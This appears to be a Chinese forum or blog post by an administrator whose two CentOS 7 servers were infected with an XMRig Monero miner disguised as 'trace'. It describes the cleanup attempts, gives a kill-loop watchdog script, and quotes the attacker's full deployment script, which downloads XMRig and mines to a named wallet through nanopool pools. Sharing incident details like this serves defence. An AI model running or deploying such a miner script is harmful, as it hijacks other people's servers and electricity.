前几天两台线上的centos7遭遇了挖矿病毒 每天的cpu都是跑满的状态 进程名为:trace 实际文件名为:xmrig
捋一下处理流程:
看看一下进程号。然后 ls -l /proc/进程号/exe 看一下启动程序的路径 然后发现在/home下 home下有程序及启动的脚本
然后把程序及脚本取消掉执行权限 就放下了。
结果第二天他还跑起来了,之后我把文件删除,改了root密码及ssh远程端口,删除了所有key,在crontab及at里也没有发现计划任务。find查找了所有相关名称的,并一个一个的查看,都没问题。
然后第三天又自动运行起来了,猜测可能是rancher和docker出了问题。生产环境的服务器,没有办法清理,所以只能搁下,写了脚本实时监控,已经没有发生这个问题了。但是阿里云还是天天会报有矿池通信。
我把监控脚本及挖矿程序的脚本都放在下面,各位小伙伴可以观看一下。如有好的解决办法,请下方评论一下,感谢。
vim jkxmrig.sh (监控挖矿程序的脚本)
#!/bin/bash
while true
do
trace=`ps -ef | grep trace | grep -v grep | awk '{print $2}'`
if [ -z "$trace" ];
then
echo "[ not find trace pid ]"
else
echo "find result: $trace "
kill -9 $trace
fi
done
chmod +x jkxmrig.sh
~
nohup ./jkxmrig.sh > /dev/null 2>&1 &
(此为挖矿程序的运行脚本)
#!/bin/bash
if pgrep trace; then pkill trace; fi
threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1);
hostHash=$(hostname -f | md5sum | cut -c1-8);
echo "${hostHash} - ${threadCount}";
rm -rf config.json;
d () {
curl -L --insecure --connect-timeout 30 --max-time 800 --fail "$1" -o "$2" 2> /dev/null || wget --no-check-certificate --timeout 800 --tries 1 "$1" -O "$2" 2> /dev/null || _curl "$1" > "$2";
}
test ! -s trace && \
d https://github.com\xmrig/xmrig/releases/download/v5.0.0/xmrig-5.0.0-xenial-x64.tar.gz trace.tgz && \
tar -zxvf trace.tgz && \
mv xmrig-5.0.0/xmrig trace && \
rm -rf xmrig-5.0.0 && \
rm -rf trace.tgz;
test ! -x trace && chmod -x trace;
k() {
./trace \
-r 2 \
-R 2 \
--keepalive \
--no-color \
--donate-level 1 \
--max-cpu-usage 85 \
--cpu-priority 3 \
--print-time 25 \
--threads "${threadCount:-4}" \
--url "$1" \
--user 46sfbbM3XSjBo54d5a8PYUU5yQ31x6Rpv6tBhe22Cd7VYeJUyFUhzBF5rTf1oTB1d8MqgHxX5RbbEEKZd8fBAAmcFfv9Y5c \
--pass x \
--coin xmr \
--keepalive
}
k xmr-asia1.nanopool.org:14444 || k xmr-eu2.nanopool.org:14444 || k xmr-us-east1.nanopool.org:14444 || k xmr-us-west1.nanopool.org:14444 || k xmr-asia1.nanopool.org:14444 || k xmr-jp1.nanopool.org:14444